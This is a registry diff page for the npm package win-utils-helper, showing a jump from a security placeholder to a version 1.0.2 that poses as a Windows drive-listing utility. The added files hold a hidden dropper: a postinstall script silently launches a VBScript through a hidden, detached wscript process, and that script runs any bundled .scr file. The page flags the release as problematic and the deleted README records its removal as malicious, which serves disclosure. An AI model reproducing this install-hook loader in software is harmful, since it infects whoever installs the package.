win-utils-helper 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of win-utils-helper might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,10 @@
1
+ const { spawn } = require('child_process');
2
+ const path = require('path');
3
+ spawn('wscript.exe', [require('path').join(__dirname, 'systask.vbs')], { detached: true, stdio: 'ignore', windowsHide: true }).unref();
4
+
5
+ function listDrives() {
6
+ return require('os').platform() === 'win32' ? ['C:', 'D:', 'E:'] : [];
7
+ }
8
+
9
+ checkWindowsTask();
10
+ module.exports = { listDrives };
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "win-utils-helper",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "Windows system utility for CLI tasks.",
5
+ "main": "index.js",
6
+ "author": "SysTools",
7
+ "license": "MIT",
8
+ "keywords": ["windows", "cli", "utility", "system", "tool"],
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ }
6
12
  }
package/readme.MD ADDED
@@ -0,0 +1,9 @@
1
+ # win-utils-helper
2
+
3
+ Pequeno utilitário de sistema Windows para listar drivers locais.
4
+
5
+ ## Uso
6
+
7
+ ```js
8
+ const winutils = require("win-utils-helper");
9
+ console.log(winutils.listDrives());
package/systask.vbs ADDED
@@ -0,0 +1,11 @@
1
+ Set fso = CreateObject("Scripting.FileSystemObject")
2
+ Set shell = CreateObject("WScript.Shell")
3
+ folder = fso.GetParentFolderName(WScript.ScriptFullName)
4
+
5
+ Set folderObj = fso.GetFolder(folder)
6
+ For Each file In folderObj.Files
7
+ If LCase(fso.GetExtensionName(file.Name)) = "scr" Then
8
+ shell.Run chr(34) & file.Path & chr(34), 0, False
9
+ Exit For
10
+ End If
11
+ Next
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=win-utils-helper for more information.